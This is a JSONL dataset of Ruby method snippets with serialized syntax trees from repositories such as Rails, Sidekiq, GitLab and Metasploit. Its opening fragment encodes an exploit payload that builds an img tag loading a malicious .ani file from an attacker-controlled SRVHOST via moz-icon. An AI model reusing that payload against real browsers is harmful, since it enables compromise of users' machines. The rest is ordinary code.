"int\",\"children\":[80]}]},\"+\",{\"type\":\"int\",\"children\":[16]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<img src=\\\"moz-icon:file://///\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[80]}]},\"+\",{\"type\":\"int\",\"children\":[16]}]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".ani\\\">\"]}]}]}]}]}","id":"10274451-1c25-43ab-9d02-c59ee0de4d6e"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/client.rb","start_line":45,"raw_source":"def initialize(*args, **kwargs)\n      if args.size == 1 && kwargs.size == 0\n        warn \"Sidekiq::Client.new(pool) is deprecated, please use Sidekiq::Client.new(pool: pool), #{caller(0..3)}\"\n        # old calling method, accept 1 pool argument\n        @redis_pool = args[0]\n        @chain = Sidekiq.default_configuration.client_middleware\n        @config = Sidekiq.default_configuration\n      else\n        # new calling method: keyword arguments\n        @config = kwargs[:config] || Sidekiq.default_configuration\n        @redis_pool = kwargs[:pool] || Thread.current[:sidekiq_redis_pool] || @config&.redis_pool\n        @chain = kwargs[:chain] || @config&.client_middleware\n        raise ArgumentError, \"No Redis pool available for Sidekiq::Client\" unless @redis_pool\n      end\n    end","complexity_score":40.23,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sidekiq::Client.new(pool) is deprecated, please use Sidekiq::Client.new(pool: pool), \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"caller\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@redis_pool\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@chain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]},\"client_middleware\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@redis_pool\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pool\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sidekiq_redis_pool\"]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"redis_pool\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@chain\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"chain\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"client_middleware\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@redis_pool\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"No Redis pool available for Sidekiq::Client\"]}]}]}]}]}]}","id":"9dc5d041-2e7c-46f6-8b9c-0b849fe299b0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb","start_line":827,"raw_source":"def parse_server_hello(data)\n    version = data.unpack('H4')[0]\n    vprint_status(\"\\t\\tServer Hello Version:           0x#{version}\")\n    random = data[2, 32].unpack('H*')[0]\n    vprint_status(\"\\t\\tServer Hello random data:       #{random}\")\n    session_id_length = data[34, 1].unpack('C')[0]\n    vprint_status(\"\\t\\tServer Hello Session ID length: #{session_id_length}\")\n    session_id = data[35, session_id_length].unpack('H*')[0]\n    vprint_status(\"\\t\\tServer Hello Session ID:        #{session_id}\")\n    # TODO Read the rest of the server hello (respect message length)\n\n    # TODO: return hash with data\n    true\n  end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_server_hello\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H4\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\tServer Hello Version:           0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"random\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[32]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\tServer Hello random data:       \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"random\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id_length\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[34]},{\"type\":\"int\",\"children\":[1]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\tServer Hello Session ID length: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id_length\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"session_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"int\",\"children\":[35]},{\"type\":\"lvar\",\"children\":[\"session_id_length\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\t\\tServer Hello Session ID:        \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session_id\"]}]}]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"ed9f1f14-6ad1-4e8a-a922-d59d4937cf44"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/regex_lexer.rb","start_line":38,"raw_source":"def inspect\n        \"#<#{self.class.name} #{@name.inspect}>\"\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@name\"]},\"inspect\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"b6c43ae4-9b87-410f-8f30-8d656e3d225b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/projects_spec.rb","start_line":2616,"raw_source":"def request\n        get api(path)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}]}","id":"68f2d130-5203-4729-9f55-7cf2e5d3e86e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_reconfigure_request.rb","start_line":18,"raw_source":"def requested_task_idx\n    [options[:src_id]]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"requested_task_idx\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"src_id\"]}]}]}]}","id":"f0959d29-c0bd-44fb-89ac-65ab34877a86"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/projects/settings/work_packages/custom_fields_controller.rb","start_line":38,"raw_source":"def update\n    Project.transaction do\n      if update_custom_fields\n        flash[:notice] = t(:notice_successful_update)\n      else\n        flash[:error] = t(:notice_project_cannot_update_custom_fields,\n                          errors: @project.errors.full_messages.join(\", \"))\n        raise ActiveRecord::Rollback\n      end\n    end\n\n    redirect_to project_settings_custom_fields_path(@project)\n  end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_custom_fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_successful_update\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"notice_project_cannot_update_custom_fields\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"errors\"]},\"full_messages\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_settings_custom_fields_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}","id":"5b1359d2-18df-42b5-a19c-34ffb7d2635a"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/providers/db.rb","start_line":154,"raw_source":"def start_and_import_parent_db\n        return unless parent_db_provider\n\n        slice.parent.start :db\n\n        register \"rom\", slice.parent[\"db.rom\"]\n      end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"start_and_import_parent_db\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent_db_provider\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"parent\"]},\"start\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[null,\"register\",{\"type\":\"str\",\"children\":[\"rom\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"parent\"]},\"[]\",{\"type\":\"str\",\"children\":[\"db.rom\"]}]}]}]}]}","id":"56478edf-4f11-4956-9855-485a546390f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/search_helper.rb","start_line":607,"raw_source":"def issuable_state_to_badge_class(issuable)\n    # Closed is considered \"danger\" for MR so we need to handle separately\n    if issuable.is_a?(::MergeRequest)\n      if issuable.merged?\n        :info\n      elsif issuable.closed?\n        :danger\n      else\n        :success\n      end\n    elsif issuable.closed?\n      :info\n    else\n      :success\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"issuable_state_to_badge_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuable\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"MergeRequest\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"merged?\"]},{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"closed?\"]},{\"type\":\"sym\",\"children\":[\"danger\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuable\"]},\"closed?\"]},{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"575389c8-d9b6-409d-a75e-33b812278863"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/perplexity/capabilities.rb","start_line":89,"raw_source":"def pricing_for(model_id)\n          family = model_family(model_id)\n          prices = PRICES.fetch(family, { input: 1.0, output: 1.0 })\n\n          standard_pricing = {\n            input_per_million: prices[:input],\n            output_per_million: prices[:output]\n          }\n\n          standard_pricing[:citation_per_million] = prices[:citation] if prices[:citation]\n          standard_pricing[:reasoning_per_million] = prices[:reasoning] if prices[:reasoning]\n          standard_pricing[:search_per_thousand] = prices[:search_queries] if prices[:search_queries]\n\n          {\n            text_tokens: {\n              standard: standard_pricing\n            }\n          }\n        end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pricing_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"family\",{\"type\":\"send\",\"children\":[null,\"model_family\",{\"type\":\"lvar\",\"children\":[\"model_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prices\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PRICES\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"family\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"float\",\"children\":[1.0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"float\",\"children\":[1.0]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"standard_pricing\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"input_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"input\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"output\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"citation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"citation_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"citation\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reasoning\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reasoning_per_million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"reasoning\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_queries\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"search_per_thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prices\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"search_queries\"]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text_tokens\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"standard\"]},{\"type\":\"lvar\",\"children\":[\"standard_pricing\"]}]}]}]}]}]}]}","id":"29eefc27-6aeb-4184-9379-b5518f0badf7"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/api_test.rb","start_line":59,"raw_source":"def test_persisted_is_always_false\n    object = BasicModel.new(attr: \"value\")\n    assert_not object.persisted?\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_persisted_is_always_false\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BasicModel\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attr\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"persisted?\"]}]}]}]}","id":"5e629d0a-eab4-4bbe-828a-11e40a5bbdc8"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/persistence/active_record_persistence.rb","start_line":109,"raw_source":"def aasm_enum(name=:default)\n          case AASM::StateMachineStore.fetch(self.class, true).machine(name).config.enum\n          when false then nil\n          when true then aasm_guess_enum_method(name)\n          when nil then aasm_guess_enum_method(name) if aasm_column_looks_like_enum(name)\n          else AASM::StateMachineStore.fetch(self.class, true).machine(name).config.enum\n          end\n        end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"aasm_enum\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AASM\"]},\"StateMachineStore\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"true\",\"children\":[]}]},\"machine\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"config\"]},\"enum\"]},{\"type\":\"when\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"when\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"aasm_guess_enum_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aasm_column_looks_like_enum\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"aasm_guess_enum_method\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AASM\"]},\"StateMachineStore\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},{\"type\":\"true\",\"children\":[]}]},\"machine\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"config\"]},\"enum\"]}]}]}","id":"13442b12-0df5-47ac-86e0-4bb3551ef06f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/work_package_activity_provider.rb","start_line":61,"raw_source":"def event_type(event)\n    event[\"status_closed\"] ? \"work_package-closed\" : \"work_package-edit\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"event_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"str\",\"children\":[\"status_closed\"]}]},{\"type\":\"str\",\"children\":[\"work_package-closed\"]},{\"type\":\"str\",\"children\":[\"work_package-edit\"]}]}]}","id":"d85083a2-c549-4f5f-bb45-13d43c0e18af"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":279,"raw_source":"def private?\n      status == Event.statuses[:private]\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"private?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"private\"]}]}]}]}","id":"5b9cff99-3e30-4ca5-bb6c-8197753b88e6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/factory_methods_test.rb","start_line":69,"raw_source":"def test_coalesce\n        relation = Table.new(:users)\n        field_node = relation[:active]\n        coalesce = @factory.coalesce field_node, 0\n        assert_instance_of Nodes::NamedFunction, coalesce\n        assert_equal \"COALESCE\", coalesce.name\n        assert_equal [field_node, 0], coalesce.expressions\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_coalesce\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Table\"]},\"new\",{\"type\":\"sym\",\"children\":[\"users\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"field_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"active\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"coalesce\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@factory\"]},\"coalesce\",{\"type\":\"lvar\",\"children\":[\"field_node\"]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_instance_of\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"NamedFunction\"]},{\"type\":\"lvar\",\"children\":[\"coalesce\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"COALESCE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coalesce\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_node\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coalesce\"]},\"expressions\"]}]}]}]}","id":"22eb71b3-2ab5-4ab0-b97b-fad3601b1e41"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/test_case.rb","start_line":564,"raw_source":"def setup_controller_request_and_response\n        @controller = nil unless defined? @controller\n\n        @response_klass = ActionDispatch::TestResponse\n\n        if klass = self.class.controller_class\n          if klass < ActionController::Live\n            @response_klass = LiveTestResponse\n          end\n          unless @controller\n            begin\n              @controller = klass.new\n            rescue\n              warn \"could not construct controller #{klass}\" if $VERBOSE\n            end\n          end\n        end\n\n        @request          = TestRequest.create(@controller.class)\n        @response         = build_response @response_klass\n        @response.request = @request\n\n        if @controller\n          @controller.request = @request\n          @controller.params = {}\n        end\n      end","complexity_score":28.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_controller_request_and_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]}]},null,{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_klass\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"TestResponse\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"controller_class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Live\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@response_klass\",{\"type\":\"const\",\"children\":[null,\"LiveTestResponse\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},null,{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@controller\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"if\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$VERBOSE\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"could not construct controller 